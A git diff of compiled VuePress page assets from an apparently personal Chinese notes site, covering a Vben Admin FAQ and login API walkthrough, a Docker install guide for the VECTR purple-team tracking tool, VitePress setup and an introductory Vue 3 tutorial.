tab 页切换后页面空白 `,56),C={href:"https://vvbin.cn/doc-next/other/faq.html#tab-%E9%A1%B5%E5%88%87%E6%8D%A2%E5%90%8E%E9%A1%B5%E9%9D%A2%E7%A9%BA%E7%99%BD",target:"_blank",rel:"noopener noreferrer"},j=e(`这是由于开启了路由切换动画,且对应的页面组件存在多个根节点导致的,在页面最外层添加<div></div>
即可
错误示例
< template>
+
+ < h1> text h1</ h1>
+ < h2> text h2</ h2>
+</ template>
+
正确示例
< template>
+ < div>
+ < h1> text h1</ h1>
+ < h2> text h2</ h2>
+ </ div>
+</ template>
+
PS:
如果想使用多个根标签,可以禁用路由切换动画 template 下面的根注释节点也算一个节点 404 后端也能接收到的话说明请求地址写错了😅
群内 QA 源码阅读 Login 业务 api login 用户点击登录按钮后首先会触发 login
api
上面三个图示为在 mock 环境下默认的 login 请求情况
api数据结构定义: src\\api\\sys\\model\\userModel.ts
:
登录负载:
+export interface LoginParams {
+ username: string ;
+ password: string ;
+}
+
登录响应体:
export interface RoleInfo {
+ roleName: string ;
+ value: string ;
+}
+
+
+export interface LoginResultModel {
+ userId: string | number ;
+ token: string ;
+ role: RoleInfo;
+}
+
可以看到, 源码定义的响应结构和上面 mock 模式下的相应结果有出入, 后者多了两个参数: desc
和 realName
, 不过这并不影响正常响应, 并且其实这两个参数会在后续会调用的 getUserIno
相应中包含
getUserInfo login
api 正确响应后会调用 getUserInfo
api 获取用户信息
上面2个图示为在 mock 环境下默认的 getUserInfo
请求情况
获取用户信息响应结构:
+export interface GetUserInfoModel {
+ roles: RoleInfo[ ] ;
+
+ userId: string | number ;
+
+ username: string ;
+
+ realName: string ;
+
+ avatar: string ;
+
+ desc? : string ;
+}
+
+
与 login
类似, getUserInfo
的响应体也多了一些未定义的参数, 不过并不影响实际运作
`,37);function G(H,V){const a=o("ExternalLinkIcon");return c(),i("div",null,[u,n("p",null,[n("a",r,[s("vbenjs/vue-vben-admin: A modern vue admin. It is based on Vue3, vite and TypeScript. It's fast! (github.com)"),t(a)])]),n("p",null,[n("a",k,[s("vbenjs/vben-admin-thin-next: vue-vben-admin-2.0 mini template.vue3,vite,typescript (github.com)"),t(a)])]),n("p",null,[n("a",d,[s("vbenjs/vue-vben-admin-doc: vue-vben-admin-doc (github.com)"),t(a)])]),m,v,n("blockquote",null,[n("p",null,[n("a",b,[s("Home | Vben Admin (vvbin.cn)"),t(a)])]),n("p",null,[n("a",h,[s("构建&部署 | Vben Admin (vvbin.cn)"),t(a)])])]),g,n("ul",null,[n("li",null,[n("p",null,[n("a",f,[s("Iconify IntelliSense"),t(a)]),s(" - Iconify 图标插件")])]),n("li",null,[n("p",null,[n("a",y,[s("windicss IntelliSense"),t(a)]),s(" - windicss 提示插件")])]),n("li",null,[n("p",null,[n("a",w,[s("I18n-ally"),t(a)]),s(" - i18n 插件")])]),n("li",null,[n("p",null,[n("a",E,[s("Volar"),t(a)]),s(" - 官方推荐 Vue3 插件")])]),n("li",null,[n("p",null,[n("a",A,[s("ESLint"),t(a)]),s(" - 脚本代码检查")])]),n("li",null,[n("p",null,[n("a",_,[s("Prettier"),t(a)]),s(" - 代码格式化")])]),n("li",null,[n("p",null,[n("a",R,[s("Stylelint"),t(a)]),s(" - css 格式化")])]),n("li",null,[n("p",null,[n("a",q,[s("DotENV"),t(a)]),s(" - .env 文件 高亮")])]),n("li",null,[n("p",null,[n("a",B,[s("Color Highlight"),t(a)]),s(" - 颜色代码高亮显示")]),x])]),L,n("ul",null,[n("li",null,[n("p",null,[P,s(": 该命令会生成所选择的图标集,提供给图标选择器使用。具体使用方式请查看 "),n("a",I,[s("图标集生成"),t(a)])])]),S]),M,n("blockquote",null,[n("p",null,[n("a",O,[s("Lint | Vben Admin (vvbin.cn)"),t(a)])])]),T,n("p",null,[n("a",U,[s("src/settings/projectSetting.ts"),t(a)])]),D,n("blockquote",null,[n("p",null,[n("a",F,[s("Vben Admin 深入理解之路由、菜单、权限的设计 - 掘金 (juejin.cn)"),t(a)])])]),N,n("blockquote",null,[n("p",null,[n("a",C,[s("常见问题 | Vben Admin (vvbin.cn)"),t(a)])])]),j])}const K=p(l,[["render",G],["__file","Vben.html.vue"]]);export{K as default};
diff --git a/assets/Vectr.html-e95e4d36.js b/assets/Vectr.html-e95e4d36.js
new file mode 100644
index 0000000000..efb51ab736
--- /dev/null
+++ b/assets/Vectr.html-e95e4d36.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-e32e3b72","path":"/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E7%AB%AF%E7%82%B9%E5%AE%89%E5%85%A8/AtomicRedTeam/Vectr.html","title":"Vectr","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"安装","slug":"安装","link":"#安装","children":[{"level":3,"title":"硬件要求","slug":"硬件要求","link":"#硬件要求","children":[]},{"level":3,"title":"安装 Docker","slug":"安装-docker","link":"#安装-docker","children":[]},{"level":3,"title":"确定安装路径","slug":"确定安装路径","link":"#确定安装路径","children":[]},{"level":3,"title":"下载 Vector Runtime","slug":"下载-vector-runtime","link":"#下载-vector-runtime","children":[]},{"level":3,"title":"配置 .env 文件","slug":"配置-env-文件","link":"#配置-env-文件","children":[]},{"level":3,"title":"启动 Docker Containers","slug":"启动-docker-containers","link":"#启动-docker-containers","children":[]},{"level":3,"title":"配置 hosts","slug":"配置-hosts","link":"#配置-hosts","children":[]},{"level":3,"title":"使用","slug":"使用","link":"#使用","children":[]}]}],"git":{"createdTime":1695206989000,"updatedTime":1695206989000,"contributors":[{"name":"233Official","email":"ayusummr233@gmail.com","commits":1}]},"readingTime":{"minutes":2.45,"words":735},"filePathRelative":"网络安全/端点安全/AtomicRedTeam/Vectr.md","localizedDate":"2023年9月20日","excerpt":""}');export{e as data};
diff --git a/assets/Vectr.html-efbcad79.js b/assets/Vectr.html-efbcad79.js
new file mode 100644
index 0000000000..35f7877cd1
--- /dev/null
+++ b/assets/Vectr.html-efbcad79.js
@@ -0,0 +1,33 @@
+import{_ as i}from"./plugin-vue_export-helper-c27b6911.js";import{r as o,o as r,c,b as e,e as n,d as s,f as t}from"./app-880c6425.js";const l={},d=e("h1",{id:"vectr",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#vectr","aria-hidden":"true"},"#"),n(" Vectr")],-1),p={href:"https://vectr.io/",target:"_blank",rel:"noopener noreferrer"},u={href:"https://github.com/SecurityRiskAdvisors/VECTR",target:"_blank",rel:"noopener noreferrer"},m=e("p",null,"紫队工具, 可以帮助跟踪红队和蓝队测试活动以衡量不同攻击场景的检测和预防能力",-1),h=e("hr",null,null,-1),v=e("h2",{id:"安装",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#安装","aria-hidden":"true"},"#"),n(" 安装")],-1),k={href:"https://docs.vectr.io/Installation/",target:"_blank",rel:"noopener noreferrer"},b=t(' 硬件要求 官方推荐使用 ubuntu LTS 版本(18.04 - 22.04) 安装
能够通过 Internet 访问 Github 和 DockerHub >= 4C8G
100 +GB SSD 安装 Docker ',6),g={href:"https://ayusummer.github.io/DailyNotes/%E9%80%9A%E8%AF%86/Docker/Docker.html#%E5%AE%89%E8%A3%85",target:"_blank",rel:"noopener noreferrer"},_={href:"https://docs.docker.com/engine/install/ubuntu/",target:"_blank",rel:"noopener noreferrer"},E=t(` 确定安装路径 官方推荐将 Vectr 安装在 /opt/vectr
中
/opt
: 可选软件包的安装位置。某些第三方软件可能安装在此处。
下载 Vector Runtime 在 /opt/vectr
目录下运行如下命令
wget https://ghproxy.com/https://github.com/SecurityRiskAdvisors/VECTR/releases/download/ce-8.9.1/sra-vectr-runtime-8.9.1-ce.zip
+unzip sra-vectr-runtime-8.9.1-ce.zip
+
配置 .env 文件 编辑 /opt/vectr
目录下的 .env
文件, 写入并编辑如下配置:
+
+VECTR_HOSTNAME = sravectr.internal
+
+VECTR_PORT = 8081
+
+
+VECTR_CONTAINER_LOG_LEVEL = "DEBUG"
+
+MONGO_INITDB_ROOT_USERNAME = admin
+
+
+
+
+VECTR_DATA_KEY = CHANGEMENOW
+
+
+
+MONGO_INITDB_ROOT_PASSWORD = CHANGEMENOW
+
+
+
+
+JWS_KEY = CHANGEME
+JWE_KEY = CHANGEMENOW
+
VSCode 左侧目录树默认不显示这些.
开头的隐藏文件, 可以使用 code .env
打开, 或者使用 打开文件
找到并打开此文件
启动 Docker Containers 在 /opt/vectr
目录下运行
+sudo docker compose up -d
+
配置 hosts 编辑 /etc/hosts
, 加一行解析, 其中 sravectr.internal
就是先前配置的 .env
中的 VECTR_HOSTNAME
127.0.0.1 sravectr.internal
+
保存后,系统会立即开始使用新的映射关系, 可以尝试 ping 下看看
ping sravectr.internal -c 4
+
如果没生效, 可以尝试清除 DNS 缓存:
sudo systemd-resolve --flush-caches
+
或者重启试试
要在其他主机上访问该主机上的 Vectr 服务请将该主机 ip 和 sravectr.internal
写到 hosts 里, Windwos 的 Hosts 在 C:\\Windows\\System32\\drivers\\etc\\hosts
使用 访问宿主机的 8081 端口的HTTPS 服务
使用默认凭据登入:
User
: admin
Password
: 11_ThisIsTheFirstPassword_11
登入后可以在 Profile 页修改密码:
`,41);function f(y,T){const a=o("ExternalLinkIcon");return r(),c("div",null,[d,e("blockquote",null,[e("p",null,[e("a",p,[n("VECTR | Collaborate. Quantify. Improve. --- 向量|合作。量化。提升。"),s(a)])]),e("p",null,[e("a",u,[n("SecurityRiskAdvisors/VECTR: VECTR is a tool that facilitates tracking of your red and blue team testing activities to measure detection and prevention capabilities across different attack scenarios --- SecurityRiskAdvisors/VECTR:VECTR 是一种工具,可帮助跟踪红队和蓝队测试活动,以衡量不同攻击场景的检测和预防能力 (github.com)"),s(a)])])]),m,h,v,e("blockquote",null,[e("p",null,[e("a",k,[n("Getting Started - VECTR Documentation --- 入门 - VECTR 文档"),s(a)])])]),b,e("blockquote",null,[e("p",null,[e("a",g,[n("Docker | DailyNotes (ayusummer.github.io)"),s(a)])])]),e("p",null,[n("可参阅 "),e("a",_,[n("Install Docker Engine on Ubuntu | Docker Docs"),s(a)]),n(" 安装 Docker")]),E])}const R=i(l,[["render",f],["__file","Vectr.html.vue"]]);export{R as default};
diff --git a/assets/Vitepress.html-b5dae9a1.js b/assets/Vitepress.html-b5dae9a1.js
new file mode 100644
index 0000000000..97a85d8dfc
--- /dev/null
+++ b/assets/Vitepress.html-b5dae9a1.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-185e83d9","path":"/NoteTools/Vitepress.html","title":"VitePress","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"快速开始 - 搭建一个 vitepress 项目","slug":"快速开始-搭建一个-vitepress-项目","link":"#快速开始-搭建一个-vitepress-项目","children":[{"level":3,"title":"新建一个项目目录并使用自己喜欢的包管理工具进行初始化(以 pnpm 为例)","slug":"新建一个项目目录并使用自己喜欢的包管理工具进行初始化-以-pnpm-为例","link":"#新建一个项目目录并使用自己喜欢的包管理工具进行初始化-以-pnpm-为例","children":[]},{"level":3,"title":"安装依赖","slug":"安装依赖","link":"#安装依赖","children":[]},{"level":3,"title":"编辑测试文档","slug":"编辑测试文档","link":"#编辑测试文档","children":[]},{"level":3,"title":"启动开发环境","slug":"启动开发环境","link":"#启动开发环境","children":[]},{"level":3,"title":"添加更多页面","slug":"添加更多页面","link":"#添加更多页面","children":[]}]},{"level":2,"title":"权限控制","slug":"权限控制","link":"#权限控制","children":[]}],"git":{"createdTime":1667840449000,"updatedTime":1675222387000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":1},{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":1.61,"words":484},"filePathRelative":"NoteTools/Vitepress.md","localizedDate":"2022年11月7日","excerpt":""}');export{e as data};
diff --git a/assets/Vitepress.html-d29de061.js b/assets/Vitepress.html-d29de061.js
new file mode 100644
index 0000000000..05b92f71c0
--- /dev/null
+++ b/assets/Vitepress.html-d29de061.js
@@ -0,0 +1,25 @@
+import{_ as i}from"./plugin-vue_export-helper-c27b6911.js";import{r as t,o as r,c as o,b as e,e as s,d as n,f as l}from"./app-880c6425.js";const d={},p=e("h1",{id:"vitepress",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#vitepress","aria-hidden":"true"},"#"),s(" VitePress")],-1),c={href:"https://github.com/vuejs/vitepress",target:"_blank",rel:"noopener noreferrer"},u={href:"https://vitepress.vuejs.org/",target:"_blank",rel:"noopener noreferrer"},h={href:"https://vitejs.cn/vitepress/",target:"_blank",rel:"noopener noreferrer"},v=e("hr",null,null,-1),E=l(` 快速开始 - 搭建一个 vitepress 项目 新建一个项目目录并使用自己喜欢的包管理工具进行初始化(以 pnpm 为例) 初始化后会在当前项目目录生成 package.json
文件, 使用 pnpm 需要编辑下该文件, 将下面的内容作为键值插入到 json 字典中
"pnpm" : {
+ "peerDependencyRules" : {
+ "ignoreMissing" : [
+ "@algolia/client-search"
+ ]
+ }
+}
+
安装依赖 pnpm install vitepress vue -D
+
编辑测试文档 在项目目录下创建一个 docs
目录, 进入该目录创建一个 index.md
文件
随便编辑下该文档用于待会儿测试页面内容显示
启动开发环境 在 packages.json
中添加一些 scripts
{
+ ...
+ "scripts" : {
+ "docs:dev" : "vitepress dev docs" ,
+ "docs:build" : "vitepress build docs" ,
+ "docs:serve" : "vitepress serve docs"
+ } ,
+ ...
+}
+
在本地运行 vitepress
默认会在本地的 5173
端口启动服务, 访问 http://localhost:5173/
即可查看页面
添加更多页面 按照类似目录结构创建更多文档
.
+├─ docs
+│ ├─ getting-started.md
+│ └─ index.md
+└─ package.json
+
ideas 权限控制 使用类似 github pages 的私有部署(需要 github pro), 不清楚 gitlab 有没有对应功能 前端 mock 个登录接口写上 mock 的账密 后台新写个权限控制系统 `,30);function m(b,B){const a=t("ExternalLinkIcon");return r(),o("div",null,[p,e("blockquote",null,[e("p",null,[e("a",c,[s("vuejs/vitepress: Vite & Vue powered static site generator. (github.com)"),n(a)])]),e("p",null,[e("a",u,[s("VitePress | Vite & Vue Powered Static Site Generator (vuejs.org)"),n(a)])]),e("p",null,[e("a",h,[s("什么是 VitePress? | VitePress中文网 (vitejs.cn)"),n(a)])]),v]),E])}const A=i(d,[["render",m],["__file","Vitepress.html.vue"]]);export{A as default};
diff --git a/assets/Vue.html-d176d50e.js b/assets/Vue.html-d176d50e.js
new file mode 100644
index 0000000000..3e0349e5e5
--- /dev/null
+++ b/assets/Vue.html-d176d50e.js
@@ -0,0 +1,5098 @@
+import{_ as o}from"./plugin-vue_export-helper-c27b6911.js";import{r as c,o as l,c as i,b as n,e as s,d as t,t as e,f as p}from"./app-880c6425.js";const u={},r=p(' Vue 简介 ',4),k={href:"https://cn.vuejs.org/v2/guide/",target:"_blank",rel:"noopener noreferrer"},d={href:"https://blog.csdn.net/qq1195566313/article/details/122768533",target:"_blank",rel:"noopener noreferrer"},v=n("code",null,"Vue",-1),m=n("strong",null,"渐进式框架",-1),g={href:"https://cn.vuejs.org/v2/guide/single-file-components.html",target:"_blank",rel:"noopener noreferrer"},b={href:"https://github.com/vuejs/awesome-vue#libraries--plugins",target:"_blank",rel:"noopener noreferrer"},h=p('
MVC MVC
是 模型(Model)
、视图(View)
、控制器(Controller)
的简写,是一种软件设计规范。
是将业务逻辑、数据、显示分离的方法来组织代码。
MVC 主要作用是降低了视图与业务逻辑间的双向偶合。
MVC 不是一种设计模式,MVC 是一种架构模式,不同的 MVC 存在差异。
Model(模型)
: 数据模型,提供要展示的数据,因此包含数据和行为,可以认为是领域模型或 JavaBean 组件(包含数据和行为),不过现在一般都分离开来:Value Object(数据 Dao)和服务层(行为 Service)。也就是模型提供了模型数据查询和模型数据的状态更新等功能,包括数据和业务。
View(视图)
: 负责进行模型的展示,一般就是我们见到的用户界面,客户想看到的东西。
Controller(控制器)
: 接收用户请求,委托给模型进行处理(状态改变),处理完毕后把返回的模型数据返回给视图,由视图负责展示也就是说控制器做了个调度员的工作
MV* ',10),q={href:"https://web.qianguyihao.com/12-Vue%E5%9F%BA%E7%A1%80/01-Vue%E7%9A%84%E4%BB%8B%E7%BB%8D%E5%92%8Cvue-cli.html#%E4%BB%8B%E7%BB%8D",target:"_blank",rel:"noopener noreferrer"},y=p('
Model:负责数据存储 View:负责页面展示 View Model:负责业务逻辑处理(比如 Ajax 请求等),对数据进行加工后交给视图展示
Vue 框架中,没有控制器。
Vue 本身并不是一个框架,Vue 结合周边生态构成一个灵活的、渐进式的框架。
Vue 以及大型 Vue 项目所需的周边技术,构成了生态。
渐进式框架图:
Vue 框架的特点 ',9),f={href:"https://web.qianguyihao.com/12-Vue%E5%9F%BA%E7%A1%80/01-Vue%E7%9A%84%E4%BB%8B%E7%BB%8D%E5%92%8Cvue-cli.html#vue%E6%A1%86%E6%9E%B6%E7%9A%84%E7%89%B9%E7%82%B9",target:"_blank",rel:"noopener noreferrer"},_=p('模板渲染:基于 html 的模板语法,学习成本低。 响应式的更新机制:数据改变之后,视图会自动刷新。【重要】 渐进式框架 组件化/模块化 轻量:开启 gzip 压缩后,可以达到 20kb 大小。(React 达到 35kb,AngularJS 达到 60kb)。 常见的插件 Webpack:代码模块化构建打包工具。 Gulp:基于流的自动化构建工具。 Babel:使用最新的 规范来编写 js。 Vue:构建数据驱动的 Web 界面的渐进式框架 Express:基于 Node.js 平台,快速、开放、极简的 Web 开发框架。 以上这些包,都可以通过 NPM 这个包管理工具来安装。
与 Vue2 对比 Options API 与 Composition API ',7),w={href:"https://www.cnblogs.com/loving0606/p/14128712.html",target:"_blank",rel:"noopener noreferrer"},x=p('Options API
在vue2中
,我们会在一个 vue 文件中 methods,computed,watch,data 中等等定义属性和方法,共同处理页面逻辑,我们称这种方式为 Options API
缺点
: 一个功能往往需要在不同的 vue 配置项中定义属性和方法,比较分散
,项目小还好,清晰明了,但是项目大了后,一个methods中可能包含很多个方法
,你往往分不清哪个方法对应着哪个功能
Composition API
在 vue3 Composition API
中,我们的代码是根据逻辑功能来组织的,一个功能所定义的所有api会放在一起(更加的高内聚,低耦合)
,这样做,即时项目很大,功能很多,我们都能快速的定位到这个功能所用到的所有API
,而不像 vue2 Options API 中一个功能所用到的 API 都是分散的,需要改动功能,到处找 API 的过程是很费劲的
Microsoft Learn | 开始使用 Vue.js ',3),E={href:"https://docs.microsoft.com/zh-cn/learn/paths/vue-first-steps/",target:"_blank",rel:"noopener noreferrer"},B=n("p",null,[n("strong",null,"重要标记: 以下内容为以上述链接(MSLearn)为蓝本的删减, 修改, 扩充, 注释")],-1),A=p(' Vue 入门 了解 Vue.js 的核心概念。 创建基于 web 的功能性应用程序。 在页面上显示数据。 将数据绑定到 HTML 属性。 浏览样式和类绑定。 简介 Vue.js(也称为 Vue)由 Evan You 创建,并于 2014 年 2 月首次发布。 开发 Vue 时,他的目标是创建一个渐进式的、轻型版本的 JavaScript。
Vue 最初创建的目的是让开发人员能够通过添加一组将软件组件与数据连接的自定义 HTML 属性来创建用户界面。 为实现此目的,Vue.js 将 HTML 属性解释为指令,这些指令将页面的输入或输出部分绑定到模型。 该模型由标准 JavaScript 变量表示。
可以将 Vue 核心库添加到任何页面,并可以随时开始创建动态 HTML 标记,该标记使用强大的功能进行数据绑定和事件处理。 完成本训练模块后,你将能够使用 Vue.js 框架来创建功能性应用程序。
总而言之,Vue.js 是基于 JavaScript 的一个强大的轻型框架。 它易于使用,并且可用于创建响应式前端应用程序。 可以以增量方式应用 Vue.js,且不会破坏现有应用程序。 还可以使用 Vue CLI 和其他生成器工具来纵向扩展应用的复杂性,添加服务器端功能。
Vue.js 入门 若要开始使用 Vue.js,需要安装框架,创建 Vue 应用,然后在页面上注册它。 注册过程会告知页面如何使用应用
将 Vue.js 添加到页面 :
将 Vue.js 添加到项目中主要有四种方式:
',15),j={href:"https://v3.cn.vuejs.org/guide/installation.html#cdn",target:"_blank",rel:"noopener noreferrer"},V={href:"https://v3.cn.vuejs.org/guide/installation.html#%E4%B8%8B%E8%BD%BD%E5%B9%B6%E8%87%AA%E6%89%98%E7%AE%A1",target:"_blank",rel:"noopener noreferrer"},C={href:"https://v3.cn.vuejs.org/guide/installation.html#npm",target:"_blank",rel:"noopener noreferrer"},T={href:"https://v3.cn.vuejs.org/guide/installation.html#%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%B7%A5%E5%85%B7-cli",target:"_blank",rel:"noopener noreferrer"},S=p(`本次尝试使用的是方式 1: 在页面中添加 script
元素
< script src = " https://unpkg.com/vue@next" > </ script>
+
此元素告知浏览器运行 src
指令引用的脚本文件。 脚本运行后,Vue API 变为可用状态。
`,3),L={href:"https://v3.cn.vuejs.org/guide/installation.html#%E5%8F%91%E5%B8%83%E7%89%88%E6%9C%AC%E8%AF%B4%E6%98%8E",target:"_blank",rel:"noopener noreferrer"},D=p(`创建应用
所有 Vue.js 应用程序的开发均始于创建应用对象。 该应用是集中操作你的应用程序使用的所有数据和方法的位置。 尽管应用对象遵循一些约定,但其核心是 JavaScript 对象。
要创建 Vue 应用,需调用方法 createApp()
。
const App = Vue. createApp ( {
+
+} ) ;
+
添加数据 创建了应用后,可以添加属性以使应用具有更多功能。 大多数应用都具有的一个重要方法是 data()
。 Vue.js 使用此方法访问你需要向应用程序提供的任何信息。
整个模块中都会用到 data()
方法。
data()
返回的对象内的任何属性都是动态的。 Vue.js 自动检测任何值更改。 然后,它将使用更新的信息来更新和刷新所显示内容的相应部分。
创建数据对象
Vue.js 调用 data()
方法。 相应的,Vue.js 需要接收一个 JavaScript 对象。
在下面的示例中,返回的对象包含属性 firstName
和 lastName
。
+const App = Vue. createApp ( {
+ data ( ) {
+ return {
+ firstName : "Christopher" ,
+ lastName : "Harrison" ,
+ } ;
+ } ,
+} ) ;
+
此时,会公开数据,以便向用户显示。
装载应用
必须先装载已创建的应用对象,然后 Vue.js 才能使用它。 通过装载应用,可以指示由应用控制的页面部分,使其能够显示信息甚至 HTML。
若要装载应用程序,需引用普通 HTML 元素的 id
。
+< div id = " app" > </ div>
+
+< script src = " https://unpkg.com/vue@next" > </ script>
+< script>
+ const App = Vue. createApp ( {
+ data ( ) {
+ return {
+ firstName : "Christopher" ,
+ lastName : "Harrison" ,
+ } ;
+ } ,
+ } ) ;
+
+ App. mount ( "#app" ) ;
+ </ script>
+
在运行时,id= 'app'
元素的内容将替换为 Vue.js 应用程序的内容。
显示数据
若要在页面上显示数据,需使用 {{ }}
语法,它有时称为“句柄把”。 在 {{ }}
语法中,可以提供访问要显示的信息时所需的任何 JavaScript 代码。
前面创建的 data()
函数返回一个对象。 Vue.js 自动使对象可用,因此无需调用 data()
。
如果要显示名字,可使用语法 {{ firstName }}
。 下面的示例演示了完整的应用程序,它可以显示 lastName
和 firstName
。
+< div id = " app" > {{ lastName }} {{ firstName }}</ div>
+
+< script src = " https://unpkg.com/vue@next" > </ script>
+< script>
+ const App = Vue. createApp ( {
+ data ( ) {
+ return {
+ firstName : "233" ,
+ lastName : "ayusummer" ,
+ } ;
+ } ,
+ } ) ;
+
+ App. mount ( "#app" ) ;
+ </ script>
+
{{ }}
语法仅在 Vue 控制的元素内有效。 该语法在组件或 Vue 装载的 HTML 元素内有效。
通过使用 Vue.js 创建应用 在本单元中,你将使用 HTML 文件创建初学者 Vue 应用程序。 该文件链接到 Vue 核心库和包含应用程序详细信息的外部 JavaScript 文件。 你将定义一个 Vue 数据变量并在 HTML 页中动态显示它。 克隆入门存储库
应用程序的入门网站包含映像和基本样式。 首先,克隆存储库并在 Visual Studio Code 中打开它。
在终端或命令窗口中,运行以下命令。
+git clone https://github.com/MicrosoftDocs/mslearn-vue-get-started/
+
+cd mslearn-vue-get-started/start
+
+code .
+
链接到 HTML 文件中的 Vue 核心库
打开 start/index.html
从内容分发网络 (CDN) 安装 Vue.js: 通过链接到 Vue 核心库来安装 Vue.js。
< script src = " https://unpkg.com/vue@next" > </ script>
+
为 Vue 应用程序创建 JavaScript 文件
如果需要,可以开始在 HTML 文件中编写 Vue 脚本。 但通常可将代码放在单独的 JavaScript 文件中,从而更清晰地地管理应用程序。
创建 start/index.js
将以下代码添加到 index.js 以创建应用。 const app = Vue. createApp ( {
+ data ( ) {
+ return {
+ productName : "Book a Cruise to the Moon" ,
+ productDescription :
+ "Cruise to the moon in our luxurious shuttle. Watch the astronauts working outside the International Space Station." ,
+
+ } ;
+ } ,
+} ) ;
+
有一个 createApp()
函数可供使用,因为你已将 Vue.js 库导入到 HTML 页的 <head>
标记中。 然后将此函数的参数作为具有 data
属性的对象传递。 这个对象返回另一个用于存储数据的对象。
导入并装载应用程序
打开 start/index.html
在 todo: Import Vue app
注释下添加以下脚本。
< script src = " ./index.js" > </ script>
+< script>
+ app. mount ( "#app" ) ;
+ </ script>
+
使用 Vue 应用程序
创建并导入 Vue 应用程序后,即可创建信息的显示内容。
在 start/index.html
文件的 todo: Add information display
注释下面添加以下 HTML。
< div id = " app" >
+ < h2> {{ productName }}</ h2>
+ < div> {{ productDescription }}</ div>
+</ div>
+
页面顺序在 Vue.js 的处理中很重要。 在 HTML 页面完全加载之前,无法将应用程序附加到文档对象模型 (DOM)。 因此,在将所有其他 HTML 元素加载到浏览器中之后,需要在页面底部导入 Vue 应用程序。
通常,在调用用于更改 DOM 内容或结构的外部脚本文件之前,最好先加载 HTML 页面。
使用 Live Server 打开页面
安装完 Live Server
扩展后 Ctrl + Shift + P
呼出命令面板, 输入 live server
选择通过 Live Server 打开即可呼出默认浏览器
页面托管在 localhost:5500
上
`,65),P=p(` 属性绑定 你已经了解如何使用 handlebar ({{}}
) 在页面上显示数据。 但是页面上的文本并不是唯一需要设为动态的部分。
可以通过使用属性来设置页面上的多个值。 幸运的是,使用 Vue.js 可通过指令绑定到属性。
指令
指令是供 Vue.js
识别的特性。 通过指令可动态设置 HTML 属性的值。 所有指令都以 v-
开头。
v-bind
核心指令是 v-bind
。 通过它可将数据值绑定到属性。 可以使用该指令动态设置类的名称、图像的源或样式。
若要使用指令,请在要设置的属性前面加上 v-bind
和冒号 (:
)。 因此,要设置图像的 src
属性,可以使用 v-bind:src="value"
。 然后按照使用 {{ }}
语法时计算属性值的相同方式计算该值。
下面的代码生成 HTML 元素 <img src="./media/sample.jpg">
。
< div id = " app" >
+ < img v-bind: src= " imageSource" />
+</ div>
+
+< script src = " https://unpkg.com/vue@next" > </ script>
+< script>
+ Vue. createApp ( {
+ data ( ) {
+ return {
+ imageSource : "./media/sample.jpg" ,
+ } ;
+ } ,
+ } ) . mount ( "#app" ) ;
+ </ script>
+
imageSource
属性可用于模板,因为它是从 data()
方法返回的。 然后将其绑定到图像元素的 src
属性。
不必维护为应用所用对象的引用。 但是可以立即调用 createApp
,然后再调用 mount
,这和之前一样。
绑定简写
现在,你已经了解如何在 Vue 应用中使用 v-bind
指令将数据绑定到属性。 你还可以在简写中键入此指令。 例如,可以键入 :attribute
,而不是键入 v-bind:attribute
。 这种简写形式为你节省了一些字符。
类和样式
一般为 HTML 元素设置的最常见属性之一是 class
或 style
。 若要绑定到这些属性,可以使用 v-bind:class
和 v-bind:style
。 或使用简写 :class
和 :style
。
类对象
假设有一个具有两个类的应用程序:centered
和 active
。 下面介绍了如何在 HTML 中使用这些类。
<div class='centered active'>Hello, Vue!</div>
+
但此示例是静态的。 如果希望能够更改数据,可以使用绑定。 通过 Vue 不仅可以绑定字符串,还可以绑定对象。
下面介绍了如何为不同属性切换静态值 centered active
:
<div id="app">
+ <div :class="classObject">Hello, Vue!</div>
+</div>
+
+<script src="https://unpkg.com/vue@next"></script>
+<script>
+ Vue.createApp({
+ data() {
+ return {
+ classObject: {
+ centered: true,
+ active: true
+ }
+ }
+ }
+ }).mount('#app');
+</script>
+
数据属性 classObject
有两个值为布尔值的属性。 使用布尔值可以启用或禁用特定的类。 将 centered
设置为 false
将呈现 <div class="active">
,因为 active
将是唯一仍然为 true
的属性。
JavaScript 命名规则适用于类对象。 因此,如果类名含有破折号,例如 center-text
,则在添加属性时,需将名称用引号括住 ('center-text': true
)。
样式对象
在 CSS 中设置样式涉及创建键/值对的集合。 使用 JavaScript 对象来表示样式要相对自然一些。 在 Vue.js 中,可以创建样式对象来设置样式。
例如,要设置 HTML 元素样式的背景色 (background-color
),可以使用以下代码。
<div id="app">
+ <div :style="styleObject">Hello, Vue!</div>
+</div>
+
+<script src="https://unpkg.com/vue@next"></script>
+<script>
+ Vue.createApp({
+ data() {
+ return {
+ styleObject: {
+ 'background-color': 'red'
+ }
+ }
+ }
+ }).mount('#app');
+</script>
+
通过 Vue.js 动态显示界面 创建基于数据的页面时,可能需要根据特定值更改显示内容,或在数组中显示多个项。
通过使用 Vue.js,可以通过各种指令来完成这些操作。 这样做可以使用 HTML 控制输出,这对许多 Web 开发人员来说是很自然的。
目标 在数组中呈现所有项。 基于变量值显示或隐藏 HTML 元素。 在 Vue.js 中使用 if-else/if-else 语句。 Render lists 使用数据通常需要数组或其他类型的集合。 通常可使用某种形式的循环来遍历集合中的所有项。 Vue.js 支持通过名为 v-for
的指令进行循环。
v-for 指令简介
若要显示列表中的所有项,可以使用指令 v-for
。 v-for
的行为与 JavaScript 中的 for...of
循环非常类似。 它循环访问某个集合,通过声明的变量提供对每个项的访问。
v-for
的语法如下所示:
v-for="itemName in collectionName"
+
collectionName
是数据对象中数组的名称。 对于每次迭代,itemName
都假定当前项的标识。 若要在模板中使用 v-for
,请将指令添加到元素声明中。 这样做将重复 HTML 元素,数组中有多少项就重复多少次。
如果要创建无序列表 (ul
),就不能将 v-for
添加到 ul
元素中。 可将其添加到 li
元素中,因为 li
元素将被重复。
在应用中使用 v-for
若要在应用中使用 v-for
指令,需要执行两项操作:
